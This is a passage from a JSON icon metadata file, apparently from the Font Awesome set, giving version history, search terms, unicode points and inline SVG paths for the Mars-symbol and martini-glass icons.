0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0l-24 0-24 0v0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V486 486v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V485 485v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V484v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V483v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V481v-.1-.1-.1-.1-.1-.1-.1-.1V480v-.1-.1-.1-.1-.1-.1-.1V479v-.1-.1-.1-.1-.1-.1-.1V478v-.1-.1-.1-.1-.1-.1V477v-.1-.1-.1-.1-.1-.1V476v-.1-.1-.1-.1-.1-.1V475v-.1-.2-.2-.2-.2-.2V474v-.2-.2-.2-.2-.2V473v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V470v-.2-.2-.2-.2-.2V469v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V467v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V463v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V459v-.2-.2-.2-.2-.2-.2-.2-.2V457v-.2-.2-.2-.2V456H208c-13.3 0-24-10.7-24-24s10.7-24 24-24h24v-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3V403v-.3-.3V402v-.3-.3V401v-.3-.3V400v-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.4-.3-.4-.4-.4-.4V393v-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4V388v-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4V384c0-.6 0-1.2 .1-1.8C155.1 370.7 96 304.2 96 224c0-88.4 71.6-160 160-160c39.6 0 75.9 14.4 103.8 38.2L382.1 80 343 41c-6.9-6.9-8.9-17.2-5.2-26.2zM448 48l0 0h0v0zM256 488h24c0 13.3-10.7 24-24 24s-24-10.7-24-24h24zm96-264a96 96 0 1 0 -192 0 96 96 0 1 0 192 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M337.8 14.8C341.5 5.8 350.3 0 360 0H472c13.3 0 24 10.7 24 24V136c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-39-39-24.7 24.7C407 163.3 416 192.6 416 224c0 80.2-59.1 146.7-136.1 158.2c0 .6 .1 1.2 .1 1.8v.4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .3 .4 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3h24c13.3 0 24 10.7 24 24s-10.7 24-24 24H280v.2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0l-24 0-24 0v0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V486 486v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V485 485v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V484v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V483v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V481v-.1-.1-.1-.1-.1-.1-.1-.1V480v-.1-.1-.1-.1-.1-.1-.1V479v-.1-.1-.1-.1-.1-.1-.1V478v-.1-.1-.1-.1-.1-.1V477v-.1-.1-.1-.1-.1-.1V476v-.1-.1-.1-.1-.1-.1V475v-.1-.2-.2-.2-.2-.2V474v-.2-.2-.2-.2-.2V473v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V470v-.2-.2-.2-.2-.2V469v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V467v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V463v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V459v-.2-.2-.2-.2-.2-.2-.2-.2V457v-.2-.2-.2-.2V456H208c-13.3 0-24-10.7-24-24s10.7-24 24-24h24v-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3V403v-.3-.3V402v-.3-.3V401v-.3-.3V400v-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.4-.3-.4-.4-.4-.4V393v-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4V388v-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4V384c0-.6 0-1.2 .1-1.8C155.1 370.7 96 304.2 96 224c0-88.4 71.6-160 160-160c39.6 0 75.9 14.4 103.8 38.2L382.1 80 343 41c-6.9-6.9-8.9-17.2-5.2-26.2zM448 48l0 0h0v0zM256 488h24c0 13.3-10.7 24-24 24s-24-10.7-24-24h24zm96-264a96 96 0 1 0 -192 0 96 96 0 1 0 192 0z"
      }
    },
    "free": ["solid"]
  },
  "mars-and-venus-burst": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["gender", "violence"]
    },
    "styles": ["solid"],
    "unicode": "e523",
    "label": "Mars And Venus Burst",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767533,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M504 0c-9.7 0-18.5 5.8-22.2 14.8s-1.7 19.3 5.2 26.2l39 39-22.2 22.2C475.9 78.4 439.6 64 400 64c-88.4 0-160 71.6-160 160c0 80.2 59.1 146.7 136.1 158.2c0 .6-.1 1.2-.1 1.8v.4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .3 .4 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3H352c-13.3 0-24 10.7-24 24s10.7 24 24 24h24v.2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0l24 0H376c0 13.3 10.7 24 24 24s24-10.7 24-24H400l24 0v0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V486 486v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V485 485v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V484v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V483v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V481v-.1-.1-.1-.1-.1-.1-.1-.1V480v-.1-.1-.1-.1-.1-.1-.1V479v-.1-.1-.1-.1-.1-.1-.1V478v-.1-.1-.1-.1-.1-.1V477v-.1-.1-.1-.1-.1-.1V476v-.1-.1-.1-.1-.1-.1V475v-.1-.2-.2-.2-.2-.2V474v-.2-.2-.2-.2-.2V473v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V470v-.2-.2-.2-.2-.2V469v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V467v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V463v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V459v-.2-.2-.2-.2-.2-.2-.2-.2V457v-.2-.2-.2-.2V456h24c13.3 0 24-10.7 24-24s-10.7-24-24-24H424v-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3V403v-.3-.3V402v-.3-.3V401v-.3-.3V400v-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.4-.3-.4-.4-.4-.4V393v-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4V388v-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4V384c0-.6 0-1.2-.1-1.8c77-11.6 136.1-78 136.1-158.2c0-31.4-9-60.7-24.7-85.4L560 113.9l39 39c6.9 6.9 17.2 8.9 26.2 5.2s14.8-12.5 14.8-22.2V24c0-13.3-10.7-24-24-24H504zM400 128a96 96 0 1 1 0 192 96 96 0 1 1 0-192zM190.9 18.1C188.4 12 182.6 8 176 8s-12.4 4-14.9 10.1l-29.4 74L55.6 68.9c-6.3-1.9-13.1 .2-17.2 5.3s-4.6 12.2-1.4 17.9l39.5 69.1L10.9 206.4c-5.4 3.7-8 10.3-6.5 16.7s6.7 11.2 13.1 12.2l78.7 12.2L90.6 327c-.5 6.5 3.1 12.7 9 15.5s12.9 1.8 17.8-2.6L176 286.1l58.6 53.9c4.1 3.8 9.9 5.1 15.2 3.6C223.6 310.8 208 269.2 208 224c0-60.8 28.3-115 72.4-150.2L220.3 92.1l-29.4-74z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M504 0c-9.7 0-18.5 5.8-22.2 14.8s-1.7 19.3 5.2 26.2l39 39-22.2 22.2C475.9 78.4 439.6 64 400 64c-88.4 0-160 71.6-160 160c0 80.2 59.1 146.7 136.1 158.2c0 .6-.1 1.2-.1 1.8v.4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .3 .4 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3H352c-13.3 0-24 10.7-24 24s10.7 24 24 24h24v.2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0l24 0H376c0 13.3 10.7 24 24 24s24-10.7 24-24H400l24 0v0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V486 486v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V485 485v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V484v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V483v-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1-.1V481v-.1-.1-.1-.1-.1-.1-.1-.1V480v-.1-.1-.1-.1-.1-.1-.1V479v-.1-.1-.1-.1-.1-.1-.1V478v-.1-.1-.1-.1-.1-.1V477v-.1-.1-.1-.1-.1-.1V476v-.1-.1-.1-.1-.1-.1V475v-.1-.2-.2-.2-.2-.2V474v-.2-.2-.2-.2-.2V473v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V470v-.2-.2-.2-.2-.2V469v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V467v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V463v-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2V459v-.2-.2-.2-.2-.2-.2-.2-.2V457v-.2-.2-.2-.2V456h24c13.3 0 24-10.7 24-24s-10.7-24-24-24H424v-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3V403v-.3-.3V402v-.3-.3V401v-.3-.3V400v-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.3-.4-.3-.4-.4-.4-.4V393v-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4V388v-.4-.4-.4-.4-.4-.4-.4-.4-.4-.4V384c0-.6 0-1.2-.1-1.8c77-11.6 136.1-78 136.1-158.2c0-31.4-9-60.7-24.7-85.4L560 113.9l39 39c6.9 6.9 17.2 8.9 26.2 5.2s14.8-12.5 14.8-22.2V24c0-13.3-10.7-24-24-24H504zM400 128a96 96 0 1 1 0 192 96 96 0 1 1 0-192zM190.9 18.1C188.4 12 182.6 8 176 8s-12.4 4-14.9 10.1l-29.4 74L55.6 68.9c-6.3-1.9-13.1 .2-17.2 5.3s-4.6 12.2-1.4 17.9l39.5 69.1L10.9 206.4c-5.4 3.7-8 10.3-6.5 16.7s6.7 11.2 13.1 12.2l78.7 12.2L90.6 327c-.5 6.5 3.1 12.7 9 15.5s12.9 1.8 17.8-2.6L176 286.1l58.6 53.9c4.1 3.8 9.9 5.1 15.2 3.6C223.6 310.8 208 269.2 208 224c0-60.8 28.3-115 72.4-150.2L220.3 92.1l-29.4-74z"
      }
    },
    "free": ["solid"]
  },
  "mars-double": {
    "aliases": {
      "unicodes": {
        "composite": ["26a3"],
        "secondary": ["10f227"]
      }
    },
    "changes": ["4.3.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Doubled Male Sign", "gay", "gender", "male", "men"]
    },
    "styles": ["solid"],
    "unicode": "f227",
    "label": "Mars Double",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M312 32c-9.7 0-18.5 5.8-22.2 14.8s-1.7 19.3 5.2 26.2l33.4 33.4L275.8 159c-28.4-19.5-62.7-31-99.8-31C78.8 128 0 206.8 0 304s78.8 176 176 176s176-78.8 176-176c0-37-11.4-71.4-31-99.8l52.6-52.6L407 185c6.9 6.9 17.2 8.9 26.2 5.2s14.8-12.5 14.8-22.2V56c0-13.3-10.7-24-24-24H312zm88 48h0v0l0 0zM64 304a112 112 0 1 1 224 0A112 112 0 1 1 64 304zM368 480c97.2 0 176-78.8 176-176c0-37-11.4-71.4-31-99.8l52.6-52.6L599 185c6.9 6.9 17.2 8.9 26.2 5.2s14.8-12.5 14.8-22.2V56c0-13.3-10.7-24-24-24H504c-9.7 0-18.5 5.8-22.2 14.8c-1.2 2.9-1.8 6-1.8 9l0 .2v.2c0 6.2 2.5 12.2 7 16.8l33.4 33.4L480 146.7V168c0 22.6-13.6 43.1-34.6 51.7c-.8 .3-1.7 .7-2.5 1C465.7 241.2 480 270.9 480 304c0 61.9-50.1 112-112 112c-5.4 0-10.8-.4-16-1.1c-12.9 20.4-29.1 38.3-48.1 53.1c19.8 7.8 41.4 12 64 12z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M312 32c-9.7 0-18.5 5.8-22.2 14.8s-1.7 19.3 5.2 26.2l33.4 33.4L275.8 159c-28.4-19.5-62.7-31-99.8-31C78.8 128 0 206.8 0 304s78.8 176 176 176s176-78.8 176-176c0-37-11.4-71.4-31-99.8l52.6-52.6L407 185c6.9 6.9 17.2 8.9 26.2 5.2s14.8-12.5 14.8-22.2V56c0-13.3-10.7-24-24-24H312zm88 48h0v0l0 0zM64 304a112 112 0 1 1 224 0A112 112 0 1 1 64 304zM368 480c97.2 0 176-78.8 176-176c0-37-11.4-71.4-31-99.8l52.6-52.6L599 185c6.9 6.9 17.2 8.9 26.2 5.2s14.8-12.5 14.8-22.2V56c0-13.3-10.7-24-24-24H504c-9.7 0-18.5 5.8-22.2 14.8c-1.2 2.9-1.8 6-1.8 9l0 .2v.2c0 6.2 2.5 12.2 7 16.8l33.4 33.4L480 146.7V168c0 22.6-13.6 43.1-34.6 51.7c-.8 .3-1.7 .7-2.5 1C465.7 241.2 480 270.9 480 304c0 61.9-50.1 112-112 112c-5.4 0-10.8-.4-16-1.1c-12.9 20.4-29.1 38.3-48.1 53.1c19.8 7.8 41.4 12 64 12z"
      }
    },
    "free": ["solid"]
  },
  "mars-stroke": {
    "aliases": {
      "unicodes": {
        "composite": ["26a6"],
        "secondary": ["10f229"]
      }
    },
    "changes": ["4.3.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Male with Stroke Sign", "gender", "transgender"]
    },
    "styles": ["solid"],
    "unicode": "f229",
    "label": "Mars Stroke",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M376 0c-9.7 0-18.5 5.8-22.2 14.8s-1.7 19.3 5.2 26.2l33.4 33.4L370.3 96.4 345 71c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l25.4 25.4L307.8 159c-28.4-19.5-62.7-31-99.8-31c-97.2 0-176 78.8-176 176s78.8 176 176 176s176-78.8 176-176c0-37-11.4-71.4-31-99.8l28.6-28.6L407 201c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-25.4-25.4 22.1-22.1L471 153c6.9 6.9 17.2 8.9 26.2 5.2s14.8-12.5 14.8-22.2V24c0-13.3-10.7-24-24-24H376zm88 48h0v0l0 0zM96 304a112 112 0 1 1 224 0A112 112 0 1 1 96 304z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M376 0c-9.7 0-18.5 5.8-22.2 14.8s-1.7 19.3 5.2 26.2l33.4 33.4L370.3 96.4 345 71c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l25.4 25.4L307.8 159c-28.4-19.5-62.7-31-99.8-31c-97.2 0-176 78.8-176 176s78.8 176 176 176s176-78.8 176-176c0-37-11.4-71.4-31-99.8l28.6-28.6L407 201c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-25.4-25.4 22.1-22.1L471 153c6.9 6.9 17.2 8.9 26.2 5.2s14.8-12.5 14.8-22.2V24c0-13.3-10.7-24-24-24H376zm88 48h0v0l0 0zM96 304a112 112 0 1 1 224 0A112 112 0 1 1 96 304z"
      }
    },
    "free": ["solid"]
  },
  "mars-stroke-right": {
    "aliases": {
      "names": ["mars-stroke-h"],
      "unicodes": {
        "composite": ["26a9"],
        "secondary": ["10f22b"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Horizontal Male with Stroke Sign", "gender"]
    },
    "styles": ["solid"],
    "unicode": "f22b",
    "label": "Mars Stroke Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M208 368a112 112 0 1 0 0-224 112 112 0 1 0 0 224zm174.4-88C370.7 365.8 297.1 432 208 432c-97.2 0-176-78.8-176-176s78.8-176 176-176c89.1 0 162.7 66.2 174.4 152H416V176c0-13.3 10.7-24 24-24s24 10.7 24 24v56h32V176c0-9.7 5.8-18.5 14.8-22.2s19.3-1.7 26.2 5.2l80 80c9.4 9.4 9.4 24.6 0 33.9l-80 80c-6.9 6.9-17.2 8.9-26.2 5.2s-14.8-12.5-14.8-22.2V280H464v56c0 13.3-10.7 24-24 24s-24-10.7-24-24V280H382.4z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M208 368a112 112 0 1 0 0-224 112 112 0 1 0 0 224zm174.4-88C370.7 365.8 297.1 432 208 432c-97.2 0-176-78.8-176-176s78.8-176 176-176c89.1 0 162.7 66.2 174.4 152H416V176c0-13.3 10.7-24 24-24s24 10.7 24 24v56h32V176c0-9.7 5.8-18.5 14.8-22.2s19.3-1.7 26.2 5.2l80 80c9.4 9.4 9.4 24.6 0 33.9l-80 80c-6.9 6.9-17.2 8.9-26.2 5.2s-14.8-12.5-14.8-22.2V280H464v56c0 13.3-10.7 24-24 24s-24-10.7-24-24V280H382.4z"
      }
    },
    "free": ["solid"]
  },
  "mars-stroke-up": {
    "aliases": {
      "names": ["mars-stroke-v"],
      "unicodes": {
        "composite": ["26a8"],
        "secondary": ["10f22a"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Vertical Male with Stroke Sign", "gender"]
    },
    "styles": ["solid"],
    "unicode": "f22a",
    "label": "Mars Stroke Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M148.7 4.7c6.2-6.2 16.4-6.2 22.6 0l64 64c4.6 4.6 5.9 11.5 3.5 17.4s-8.3 9.9-14.8 9.9H184v24h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H184v24c0 .6 0 1.2-.1 1.8c77 11.6 136.1 78 136.1 158.2c0 88.4-71.6 160-160 160S0 440.4 0 352c0-80.2 59.1-146.7 136.1-158.2c0-.6-.1-1.2-.1-1.8V168H104c-13.3 0-24-10.7-24-24s10.7-24 24-24h32V96H96c-6.5 0-12.3-3.9-14.8-9.9s-1.1-12.9 3.5-17.4l64-64zM256 352A96 96 0 1 0 64 352a96 96 0 1 0 192 0z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M148.7 4.7c6.2-6.2 16.4-6.2 22.6 0l64 64c4.6 4.6 5.9 11.5 3.5 17.4s-8.3 9.9-14.8 9.9H184v24h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H184v24c0 .6 0 1.2-.1 1.8c77 11.6 136.1 78 136.1 158.2c0 88.4-71.6 160-160 160S0 440.4 0 352c0-80.2 59.1-146.7 136.1-158.2c0-.6-.1-1.2-.1-1.8V168H104c-13.3 0-24-10.7-24-24s10.7-24 24-24h32V96H96c-6.5 0-12.3-3.9-14.8-9.9s-1.1-12.9 3.5-17.4l64-64zM256 352A96 96 0 1 0 64 352a96 96 0 1 0 192 0z"
      }
    },
    "free": ["solid"]
  },
  "martini-glass": {
    "aliases": {
      "names": ["glass-martini-alt"],
      "unicodes": {
        "composite": ["1f378"],
        "secondary": ["10f57b"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "alcohol",
        "bar",
        "beverage",
        "cocktail",
        "cocktail glass",
        "drink",
        "glass",
        "liquor"
      ]
    },
    "styles": ["solid"],
    "unicode": "f57b",
    "label": "Martini Glass",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 0C19.1 0 7.4 7.8 2.4 19.8s-2.2 25.7 6.9 34.9L224 269.3V448H160c-17.7 0-32 14.3-32 32s14.3 32 32 32h96 96c17.7 0 32-14.3 32-32s-14.3-32-32-32H288V269.3L502.6 54.6c9.2-9.2 11.9-22.9 6.9-34.9S492.9 0 480 0H32zM173.3 128l-64-64H402.7l-64 64H173.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 0C19.1 0 7.4 7.8 2.4 19.8s-2.2 25.7 6.9 34.9L224 269.3V448H160c-17.7 0-32 14.3-32 32s14.3 32 32 32h96 96c17.7 0 32-14.3 32-32s-14.3-32-32-32H288V269.3L502.6 54.6c9.2-9.2 11.9-22.9 6.9-34.9S492.9 0 480 0H32zM173.3 128l-64-64H402.7l-64 64H173.3z"
      }
    },
    "free": ["solid"]
  },
  "martini-glass-citrus": {
    "aliases": {
      "names": ["cocktail"],
      "unicodes": {
        "secondary": ["10f561"]
      }
    },
    "changes": ["5.1.0", "5.10.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "alcohol",
        "beverage",
        "drink",
        "gin",
        "glass",
        "margarita",
        "martini",
        "vodka"
      ]
    },
    "styles": ["solid"],
    "unicode": "f561",
    "label": "Martini Glass Citrus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
